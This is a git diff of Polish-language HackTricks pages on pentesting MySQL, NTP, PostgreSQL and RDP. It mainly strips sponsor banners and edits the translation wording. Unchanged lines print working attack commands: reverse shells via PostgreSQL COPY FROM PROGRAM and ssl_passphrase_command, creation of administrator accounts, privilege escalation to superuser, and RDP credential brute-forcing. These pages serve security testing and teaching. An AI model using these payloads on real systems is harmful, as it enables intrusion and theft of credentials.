potrzebujesz. Jeśli **nie masz** tych bibliotek, możesz albo **ich poszukać**, albo pobrać ten [**kod C dla linux**](https://www.exploit-db.com/exploits/1518) i **skompilować go na podatnej maszynie linux**: ```bash @@ -224,9 +214,9 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll'; SELECT sys_exec("net user npn npn12345678 /add"); SELECT sys_exec("net localgroup Administrators npn /add"); ``` -### Ekstrakcja poświadczeń MySQL z plików +### Wyodrębnianie poświadczeń MySQL z plików -W pliku _/etc/mysql/debian.cnf_ można znaleźć **hasło w formacie tekstowym** użytkownika **debian-sys-maint** +W pliku _/etc/mysql/debian.cnf_ można znaleźć **hasło w postaci czystego tekstu** użytkownika **debian-sys-maint** ```bash cat /etc/mysql/debian.cnf ``` @@ -619,10 +609,4 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' ``` -
- -[**RootedCON**](https://www.rootedcon.com/) to najważniejsze wydarzenie związane z cyberbezpieczeństwem w **Hiszpanii** i jedno z najważniejszych w **Europie**. Z **misją promowania wiedzy technicznej**, ten kongres jest gorącym punktem spotkań dla profesjonalistów z dziedziny technologii i cyberbezpieczeństwa w każdej dyscyplinie. - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-ntp.md b/src/network-services-pentesting/pentesting-ntp.md index b4c6743f4..a5e463a85 100644 --- a/src/network-services-pentesting/pentesting-ntp.md +++ b/src/network-services-pentesting/pentesting-ntp.md @@ -2,30 +2,15 @@ {{#include ../banners/hacktricks-training.md}} -
- -Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami błędów! - -**Wgląd w Hacking**\ -Zaangażuj się w treści, które zgłębiają emocje i wyzwania związane z hackingiem - -**Aktualności Hackingowe w Czasie Rzeczywistym**\ -Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom - -**Najnowsze Ogłoszenia**\ -Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platform - -**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś! - -## Podstawowe Informacje +## Podstawowe informacje **Protokół Czasu Sieciowego (NTP)** zapewnia, że komputery i urządzenia sieciowe w sieciach o zmiennej latencji synchronizują swoje zegary dokładnie. Jest to kluczowe dla utrzymania precyzyjnego pomiaru czasu w operacjach IT, bezpieczeństwie i logowaniu. Dokładność NTP jest istotna, ale niesie również ryzyko bezpieczeństwa, jeśli nie jest odpowiednio zarządzana. -### Podsumowanie i Wskazówki Bezpieczeństwa: +### Podsumowanie i wskazówki dotyczące bezpieczeństwa: - **Cel**: Synchronizuje zegary urządzeń w sieciach. - **Znaczenie**: Krytyczne dla bezpieczeństwa, logowania i operacji. -- **Środki Bezpieczeństwa**: +- **Środki bezpieczeństwa**: - Używaj zaufanych źródeł NTP z autoryzacją. - Ogranicz dostęp do serwera NTP w sieci. - Monitoruj synchronizację w poszukiwaniu oznak manipulacji. @@ -49,15 +34,15 @@ ntpdc -c sysinfo ```bash nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 ``` -## Zbadaj pliki konfiguracyjne +## Examine configuration files - ntp.conf -## Atak amplifikacyjny NTP +## NTP Amplification Attack [**Jak działa atak DDoS NTP**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref) -**Protokół NTP**, używający UDP, pozwala na działanie bez potrzeby procedur handshake, w przeciwieństwie do TCP. Ta cecha jest wykorzystywana w **atakach amplifikacyjnych DDoS NTP**. Tutaj napastnicy tworzą pakiety z fałszywym adresem IP źródłowym, sprawiając, że wydaje się, iż żądania ataku pochodzą od ofiary. Te pakiety, początkowo małe, skłaniają serwer NTP do odpowiedzi z dużo większymi wolumenami danych, amplifikując atak. +Protokół **NTP**, używający UDP, pozwala na działanie bez potrzeby procedur handshake, w przeciwieństwie do TCP. Ta cecha jest wykorzystywana w **atakach amplifikacyjnych DDoS NTP**. Tutaj napastnicy tworzą pakiety z fałszywym adresem IP źródłowym, sprawiając, że wydaje się, iż żądania ataku pochodzą od ofiary. Te pakiety, początkowo małe, powodują, że serwer NTP odpowiada znacznie większymi wolumenami danych, amplifikując atak. Polecenie _**MONLIST**_, mimo rzadkiego użycia, może zgłosić ostatnich 600 klientów połączonych z usługą NTP. Chociaż samo polecenie jest proste, jego niewłaściwe użycie w takich atakach podkreśla krytyczne luki w zabezpieczeniach. ```bash @@ -86,19 +71,4 @@ Name: Nmap Description: Enumerate NTP Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 {IP} ``` -
- -Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów! - -**Wgląd w Hacking**\ -Zaangażuj się w treści, które zgłębiają emocje i wyzwania związane z hackingiem - -**Aktualności Hackingowe w Czasie Rzeczywistym**\ -Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i spostrzeżeniom - -**Najnowsze Ogłoszenia**\ -Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platformy - -**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś! - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-postgresql.md b/src/network-services-pentesting/pentesting-postgresql.md index 3523bfde3..f97485c71 100644 --- a/src/network-services-pentesting/pentesting-postgresql.md +++ b/src/network-services-pentesting/pentesting-postgresql.md @@ -1,12 +1,5 @@ # 5432,5433 - Pentesting Postgresql -
- -\ -Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\ -Uzyskaj dostęp już dziś: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %} {{#include ../banners/hacktricks-training.md}} @@ -19,7 +12,7 @@ Uzyskaj dostęp już dziś: PORT STATE SERVICE 5432/tcp open pgsql ``` -## Połączenie i podstawowe enumeracje +## Połączenie i podstawowe enumerowanie ```bash psql -U # Open psql console with user psql -h -U -d # Remote connection @@ -121,13 +114,13 @@ W funkcjach PL/pgSQL obecnie nie jest możliwe uzyskanie szczegółów wyjątkó | rolinherit | Rola automatycznie dziedziczy uprawnienia ról, których jest członkiem | | rolcreaterole | Rola może tworzyć więcej ról | | rolcreatedb | Rola może tworzyć bazy danych | -| rolcanlogin | Rola może się zalogować. To znaczy, ta rola może być użyta jako identyfikator autoryzacji sesji początkowej | +| rolcanlogin | Rola może się zalogować. To znaczy, ta rola może być użyta jako początkowy identyfikator autoryzacji sesji | | rolreplication | Rola jest rolą replikacji. Rola replikacji może inicjować połączenia replikacyjne oraz tworzyć i usuwać sloty replikacji. | | rolconnlimit | Dla ról, które mogą się logować, ustawia maksymalną liczbę jednoczesnych połączeń, które ta rola może nawiązać. -1 oznacza brak limitu. | | rolpassword | Nie hasło (zawsze odczytywane jako `********`) | -| rolvaliduntil | Czas wygaśnięcia hasła (używane tylko do autoryzacji hasłem); null, jeśli brak wygaśnięcia | +| rolvaliduntil | Czas wygaśnięcia hasła (używane tylko do uwierzytelniania hasłem); null, jeśli brak wygaśnięcia | | rolbypassrls | Rola omija każdą politykę bezpieczeństwa na poziomie wiersza, zobacz [Sekcja 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) po więcej informacji. | -| rolconfig | Domyślne wartości specyficzne dla roli dla zmiennych konfiguracyjnych w czasie wykonywania | +| rolconfig | Domyślne wartości specyficzne dla roli dla zmiennych konfiguracyjnych w czasie działania | | oid | ID roli | #### Interesujące Grupy @@ -287,12 +280,6 @@ Jednak istnieją **inne techniki przesyłania dużych plików binarnych:** ../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md {{#endref}} -## - -**Wskazówka dotycząca bug bounty**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hakerów, dla hackerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 USD**! - -{% embed url="https://go.intigriti.com/hacktricks" %} - ### Aktualizacja danych tabeli PostgreSQL za pomocą zapisu lokalnego pliku Jeśli masz niezbędne uprawnienia do odczytu i zapisu plików serwera PostgreSQL, możesz zaktualizować dowolną tabelę na serwerze, **nadpisując powiązany węzeł pliku** w [katalogu danych PostgreSQL](https://www.postgresql.org/docs/8.1/storage.html). **Więcej na ten temat** [**tutaj**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users). @@ -305,7 +292,7 @@ Wymagane kroki: SELECT setting FROM pg_settings WHERE name = 'data_directory'; ``` -**Uwaga:** Jeśli nie możesz pobrać aktualnej ścieżki katalogu danych z ustawień, możesz zapytać o główną wersję PostgreSQL za pomocą zapytania `SELECT version()` i spróbować wymusić ścieżkę. Typowe ścieżki katalogów danych w instalacjach PostgreSQL na systemach Unix to `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. Typowa nazwa klastra to `main`. +**Uwaga:** Jeśli nie możesz pobrać aktualnej ścieżki katalogu danych z ustawień, możesz zapytać o główną wersję PostgreSQL za pomocą zapytania `SELECT version()` i spróbować wymusić ścieżkę. Typowe ścieżki katalogu danych w instalacjach PostgreSQL na systemach Unix to `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. Typowa nazwa klastra to `main`. 2. Uzyskaj względną ścieżkę do węzła pliku, powiązanego z docelową tabelą @@ -343,7 +330,7 @@ ON pg_attribute.attrelid = pg_class.oid WHERE pg_class.relname = '{TABLE_NAME}'; ``` -5. Użyj [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor), aby [edytować węzeł pliku](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); ustaw wszystkie flagi boolean `rol*` na 1 dla pełnych uprawnień. +5. Użyj [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor), aby [edytować węzeł pliku](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); ustaw wszystkie flagi boolean `rol*` na 1, aby uzyskać pełne uprawnienia. ```bash python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA} @@ -390,7 +377,7 @@ DROP TABLE IF EXISTS cmd_exec; COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'''; ``` > [!WARNING] -> Pamiętaj, że jeśli nie jesteś superużytkownikiem, ale masz uprawnienia **`CREATEROLE`**, możesz **dodać się do tej grupy:** +> Pamiętaj, że jeśli nie jesteś superużytkownikiem, ale masz uprawnienia **`CREATEROLE`**, możesz **stać się członkiem tej grupy:** > > ```sql > GRANT pg_execute_server_program TO username; @@ -399,7 +386,7 @@ COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::I > [**Więcej informacji.**](pentesting-postgresql.md#privilege-escalation-with-createrole) Lub użyj modułu `multi/postgres/postgres_copy_from_program_cmd_exec` z **metasploit**.\ -Więcej informacji na temat tej podatności [**tutaj**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Chociaż zgłoszono to jako CVE-2019-9193, Postgres zadeklarował, że to [funkcja i nie zostanie naprawione](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/). +Więcej informacji na temat tej podatności [**tutaj**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Chociaż zgłoszono to jako CVE-2019-9193, Postges zadeklarował, że to [funkcja i nie zostanie naprawione](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/). ### RCE z językami PostgreSQL @@ -418,7 +405,7 @@ Gdy **nauczyłeś się** z poprzedniego posta **jak przesyłać pliki binarne**, ### RCE z pliku konfiguracyjnego PostgreSQL > [!NOTE] -> Następujące wektory RCE są szczególnie przydatne w ograniczonych kontekstach SQLi, ponieważ wszystkie kroki można wykonać za pomocą zagnieżdżonych instrukcji SELECT +> Następujące wektory RCE są szczególnie przydatne w ograniczonych kontekstach SQLi, ponieważ wszystkie kroki można wykonać za pomocą zagnieżdżonych zapytań SELECT **Plik konfiguracyjny** PostgreSQL jest **zapisywalny** przez **użytkownika postgres**, który uruchamia bazę danych, więc jako **superużytkownik** możesz zapisywać pliki w systemie plików, a tym samym możesz **nadpisać ten plik.** @@ -434,19 +421,19 @@ Plik konfiguracyjny ma kilka interesujących atrybutów, które mogą prowadzić - `ssl_passphrase_command = ''` Jeśli plik prywatny jest chroniony hasłem (szyfrowany), postgresql **wykona polecenie wskazane w tym atrybucie**. - `ssl_passphrase_command_supports_reload = off` **Jeśli** ten atrybut jest **włączony**, **polecenie** wykonywane, jeśli klucz jest chroniony hasłem, **zostanie wykonane**, gdy `pg_reload_conf()` zostanie **wykonane**. -Wtedy atakujący będzie musiał: +Następnie atakujący będzie musiał: 1. **Zrzucić klucz prywatny** z serwera 2. **Szyfrować** pobrany klucz prywatny: 1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key` 3. **Nadpisać** -4. **Zrzucić** aktualną **konfigurację** postgresql +4. **Zrzucić** aktualną **konfigurację postgresql** 5. **Nadpisać** **konfigurację** z wymienionymi atrybutami: 1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'` 2. `ssl_passphrase_command_supports_reload = on` 6. Wykonać `pg_reload_conf()` -Podczas testowania zauważyłem, że to zadziała tylko wtedy, gdy **plik klucza prywatnego ma uprawnienia 640**, jest **własnością roota** i **grupy ssl-cert lub postgres** (tak, aby użytkownik postgres mógł go odczytać) i znajduje się w _/var/lib/postgresql/12/main_. +Podczas testowania zauważyłem, że to zadziała tylko wtedy, gdy **plik klucza prywatnego ma uprawnienia 640**, jest **własnością roota** i **grupy ssl-cert lub postgres** (aby użytkownik postgres mógł go odczytać) i znajduje się w _/var/lib/postgresql/12/main_. #### **RCE z archive_command** @@ -472,7 +459,7 @@ Ten wektor ataku wykorzystuje następujące zmienne konfiguracyjne: - `session_preload_libraries` -- biblioteki, które będą ładowane przez serwer PostgreSQL podczas połączenia klienta. - `dynamic_library_path` -- lista katalogów, w których serwer PostgreSQL będzie szukał bibliotek. -Możemy ustawić wartość `dynamic_library_path` na katalog, który jest zapisywalny przez użytkownika `postgres` uruchamiającego bazę danych, np. katalog `/tmp/`, i przesłać tam złośliwy obiekt `.so`. Następnie wymusimy, aby serwer PostgreSQL załadował naszą nowo przesłaną bibliotekę, włączając ją w zmienną `session_preload_libraries`. +Możemy ustawić wartość `dynamic_library_path` na katalog, który jest zapisywalny przez użytkownika `postgres` uruchamiającego bazę danych, np. katalog `/tmp/`, i przesłać tam złośliwy obiekt `.so`. Następnie wymusimy serwer PostgreSQL, aby załadował naszą nowo przesłaną bibliotekę, włączając ją w zmienną `session_preload_libraries`. Kroki ataku to: @@ -556,14 +543,14 @@ Użytkownicy z tą rolą mogą również **zmieniać** **hasła** innych **nie-s #Change password ALTER USER user_name WITH PASSWORD 'new_password'; ``` -#### Privesc do SUPERUSER +#### Privesc to SUPERUSER Dość powszechne jest stwierdzenie, że **lokalni użytkownicy mogą logować się do PostgreSQL bez podawania hasła**. Dlatego, gdy już zdobędziesz **uprawnienia do wykonywania kodu**, możesz nadużyć tych uprawnień, aby nadać sobie rolę **`SUPERUSER`**: ```sql COPY (select '') to PROGRAM 'psql -U -c "ALTER USER WITH SUPERUSER;"'; ``` > [!NOTE] -> Zwykle jest to możliwe dzięki następującym liniom w pliku **`pg_hba.conf`**: +> To zazwyczaj możliwe dzięki następującym liniom w pliku **`pg_hba.conf`**: > > ```bash > # "local" jest tylko dla połączeń przez gniazdo domeny Unix @@ -588,12 +575,12 @@ GetUserIdAndSecContext(&save_userid, &save_sec_context); SetUserIdAndSecContext(onerel->rd_rel->relowner, save_sec_context | SECURITY_RESTRICTED_OPERATION); ``` -#### Wykorzystanie +#### Eksploatacja 1. Zacznij od utworzenia nowej tabeli. 2. Wstaw do tabeli kilka nieistotnych danych, aby dostarczyć dane dla funkcji indeksu. 3. Opracuj złośliwą funkcję indeksu, która zawiera ładunek do wykonania kodu, umożliwiając wykonywanie nieautoryzowanych poleceń. -4. Zmień właściciela tabeli na "cloudsqladmin", który jest rolą superużytkownika GCP używaną wyłącznie przez Cloud SQL do zarządzania i utrzymywania bazy danych. +4. ZMIEŃ właściciela tabeli na "cloudsqladmin", który jest rolą superużytkownika GCP używaną wyłącznie przez Cloud SQL do zarządzania i utrzymywania bazy danych. 5. Wykonaj operację ANALYZE na tabeli. Ta akcja zmusza silnik PostgreSQL do przełączenia się na kontekst użytkownika właściciela tabeli, "cloudsqladmin." W konsekwencji złośliwa funkcja indeksu jest wywoływana z uprawnieniami "cloudsqladmin", co umożliwia wykonanie wcześniej nieautoryzowanego polecenia powłoki. W PostgreSQL ten proces wygląda mniej więcej tak: @@ -617,7 +604,7 @@ LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ANALYZE public.temp_table; ``` -Następnie tabela `shell_commands_results` będzie zawierać wyniki wykonania kodu: +Następnie tabela `shell_commands_results` będzie zawierać wyniki wykonanego kodu: ``` uid=2345(postgres) gid=2345(postgres) groups=2345(postgres) ``` @@ -677,7 +664,7 @@ PERFORM dblink_disconnect(); … -Jak [**wyjaśniono w dokumentacji**](https://www.postgresql.org/docs/current/sql-createfunction.html), funkcja z **SECURITY DEFINER jest wykonywana** z uprawnieniami **użytkownika, który ją posiada**. Dlatego, jeśli funkcja jest **vulnerable to SQL Injection** lub wykonuje jakieś **uprzywilejowane działania z parametrami kontrolowanymi przez atakującego**, może być nadużywana do **eskalacji uprawnień w postgres**. +Jak [**wyjaśniono w dokumentacji**](https://www.postgresql.org/docs/current/sql-createfunction.html), funkcja z **SECURITY DEFINER jest wykonywana** z uprawnieniami **użytkownika, który ją posiada**. Dlatego, jeśli funkcja jest **vulnerybilna na SQL Injection** lub wykonuje jakieś **uprzywilejowane działania z parametrami kontrolowanymi przez atakującego**, może być nadużywana do **eskalacji uprawnień w postgres**. W linii 4 poprzedniego kodu widać, że funkcja ma flagę **SECURITY DEFINER**. ```sql @@ -701,7 +688,7 @@ A następnie **wykonaj polecenia**: ### Privesc przez Nadpisanie Wewnętrznych Tabel PostgreSQL > [!NOTE] -> Poniższy wektor privesc jest szczególnie przydatny w ograniczonych kontekstach SQLi, ponieważ wszystkie kroki można wykonać za pomocą zagnieżdżonych instrukcji SELECT +> Następujący wektor privesc jest szczególnie przydatny w ograniczonych kontekstach SQLi, ponieważ wszystkie kroki można wykonać za pomocą zagnieżdżonych instrukcji SELECT Jeśli możesz **czytać i pisać pliki serwera PostgreSQL**, możesz **stać się superużytkownikiem** przez nadpisanie węzła pliku na dysku PostgreSQL, związanego z wewnętrzną tabelą `pg_authid`. @@ -713,7 +700,7 @@ Kroki ataku to: 2. Uzyskaj względną ścieżkę do węzła pliku, związanego z tabelą `pg_authid` 3. Pobierz węzeł pliku za pomocą funkcji `lo_*` 4. Uzyskaj typ danych, związany z tabelą `pg_authid` -5. Użyj [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor), aby [edytować węzeł pliku](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg_authid-table); ustaw wszystkie flagi boolean `rol*` na 1 dla pełnych uprawnień. +5. Użyj [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor), aby [edytować węzeł pliku](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg_authid-table); ustaw wszystkie flagi boolean `rol*` na 1, aby uzyskać pełne uprawnienia. 6. Ponownie załaduj edytowany węzeł pliku za pomocą funkcji `lo_*` i nadpisz oryginalny plik na dysku 7. _(Opcjonalnie)_ Wyczyść pamięć podręczną tabeli w pamięci, uruchamiając kosztowne zapytanie SQL 8. Teraz powinieneś mieć uprawnienia pełnego superadmina. @@ -752,16 +739,8 @@ string pgadmin4.db ``` ### pg_hba -Uwierzytelnianie klientów w PostgreSQL jest zarządzane przez plik konfiguracyjny o nazwie **pg_hba.conf**. Plik ten zawiera szereg rekordów, z których każdy określa typ połączenia, zakres adresów IP klientów (jeśli dotyczy), nazwę bazy danych, nazwę użytkownika oraz metodę uwierzytelniania, która ma być użyta do dopasowania połączeń. Pierwszy rekord, który pasuje do typu połączenia, adresu klienta, żądanej bazy danych i nazwy użytkownika, jest używany do uwierzytelniania. Nie ma możliwości przywrócenia lub zapasowego rozwiązania, jeśli uwierzytelnianie się nie powiedzie. Jeśli żaden rekord nie pasuje, dostęp jest odmawiany. +Uwierzytelnianie klientów w PostgreSQL jest zarządzane przez plik konfiguracyjny o nazwie **pg_hba.conf**. Plik ten zawiera szereg rekordów, z których każdy określa typ połączenia, zakres adresów IP klientów (jeśli dotyczy), nazwę bazy danych, nazwę użytkownika oraz metodę uwierzytelniania do użycia w celu dopasowania połączeń. Pierwszy rekord, który pasuje do typu połączenia, adresu klienta, żądanej bazy danych i nazwy użytkownika, jest używany do uwierzytelniania. Nie ma opcji awaryjnej ani zapasowej, jeśli uwierzytelnianie się nie powiedzie. Jeśli żaden rekord nie pasuje, dostęp jest odmawiany. Dostępne metody uwierzytelniania oparte na haśle w pg_hba.conf to **md5**, **crypt** i **password**. Metody te różnią się sposobem przesyłania hasła: haszowane MD5, szyfrowane crypt lub w postaci czystego tekstu. Ważne jest, aby zauważyć, że metoda crypt nie może być używana z hasłami, które zostały zaszyfrowane w pg_authid. {{#include ../banners/hacktricks-training.md}} - -
- -\ -Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\ -Uzyskaj dostęp już dziś: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %} diff --git a/src/network-services-pentesting/pentesting-rdp.md b/src/network-services-pentesting/pentesting-rdp.md index 34e40bf54..e49ae2e41 100644 --- a/src/network-services-pentesting/pentesting-rdp.md +++ b/src/network-services-pentesting/pentesting-rdp.md @@ -2,17 +2,10 @@ {{#include ../banners/hacktricks-training.md}} -
- -**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę** - -**Znajdź i zgłoś krytyczne, wykorzystywalne luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi do mapowania powierzchni ataku, znajdowania problemów z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz wykorzystaj zautomatyzowane exploity do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ## Podstawowe informacje -Opracowany przez Microsoft, **Remote Desktop Protocol** (**RDP**) jest zaprojektowany w celu umożliwienia połączenia z graficznym interfejsem między komputerami w sieci. Aby nawiązać takie połączenie, użytkownik korzysta z oprogramowania klienckiego **RDP**, a jednocześnie zdalny komputer musi działać na oprogramowaniu serwera **RDP**. Taka konfiguracja umożliwia płynne sterowanie i dostęp do środowiska pulpitu zdalnego komputera, zasadniczo przenosząc jego interfejs na lokalne urządzenie użytkownika. +Opracowany przez Microsoft, **Remote Desktop Protocol** (**RDP**) ma na celu umożliwienie połączenia z interfejsem graficznym między komputerami w sieci. Aby nawiązać takie połączenie, użytkownik korzysta z oprogramowania klienckiego **RDP**, a jednocześnie zdalny komputer musi działać na oprogramowaniu serwera **RDP**. Ta konfiguracja umożliwia płynne sterowanie i dostęp do środowiska pulpitu zdalnego komputera, zasadniczo przenosząc jego interfejs na lokalne urządzenie użytkownika. **Domyślny port:** 3389 ``` @@ -40,7 +33,7 @@ crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123' # hydra hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp ``` -### Połącz się z znanymi poświadczeniami/hashami +### Połączenie z znanymi poświadczeniami/hashami ```bash rdesktop -u rdesktop -d -u -p @@ -53,14 +46,6 @@ rdp_check.py z impacket pozwala sprawdzić, czy niektóre poświadczenia są wa ```bash rdp_check /:@ ``` -
- -**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę** - -**Znajdź i zgłoś krytyczne, wykorzystywalne luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - ## **Ataki** ### Kradzież sesji @@ -96,7 +81,7 @@ Możesz wyszukiwać RDP, które zostały zainfekowane jedną z tych technik, kor ### RDP Process Injection -Jeśli ktoś z innej domeny lub z **lepszymi uprawnieniami zaloguje się przez RDP** do komputera, na którym **jesteś administratorem**, możesz **wstrzyknąć** swój beacon do jego **procesu sesji RDP** i działać jako on: +Jeśli ktoś z innej domeny lub z **lepszymi uprawnieniami zaloguje się przez RDP** do komputera, gdzie **jesteś administratorem**, możesz **wstrzyknąć** swój beacon do jego **procesu sesji RDP** i działać jako on: {{#ref}} ../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md @@ -110,7 +95,7 @@ net localgroup "Remote Desktop Users" UserLoginName /add - [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn) -**AutoRDPwn** to framework do post-exploatacji stworzony w Powershell, zaprojektowany głównie w celu automatyzacji ataku **Shadow** na komputerach Microsoft Windows. Ta luka (wymieniona jako funkcja przez Microsoft) pozwala zdalnemu atakującemu na **wyświetlenie pulpitu ofiary bez jej zgody**, a nawet na kontrolowanie go na żądanie, korzystając z narzędzi natywnych dla samego systemu operacyjnego. +**AutoRDPwn** to framework do post-exploatacji stworzony w Powershell, zaprojektowany głównie w celu automatyzacji ataku **Shadow** na komputerach Microsoft Windows. Ta luka (wymieniona jako funkcja przez Microsoft) pozwala zdalnemu atakującemu na **oglądanie pulpitu ofiary bez jej zgody**, a nawet na kontrolowanie go na żądanie, przy użyciu narzędzi natywnych dla samego systemu operacyjnego. - [**EvilRDP**](https://github.com/skelsec/evilrdp) - Kontroluj mysz i klawiaturę w zautomatyzowany sposób z linii poleceń @@ -138,12 +123,4 @@ Name: Nmap Description: Nmap with RDP Scripts Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP} ``` -
- -**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę** - -**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-remote-gdbserver.md b/src/network-services-pentesting/pentesting-remote-gdbserver.md index 692019fb6..788f67272 100644 --- a/src/network-services-pentesting/pentesting-remote-gdbserver.md +++ b/src/network-services-pentesting/pentesting-remote-gdbserver.md @@ -2,17 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -
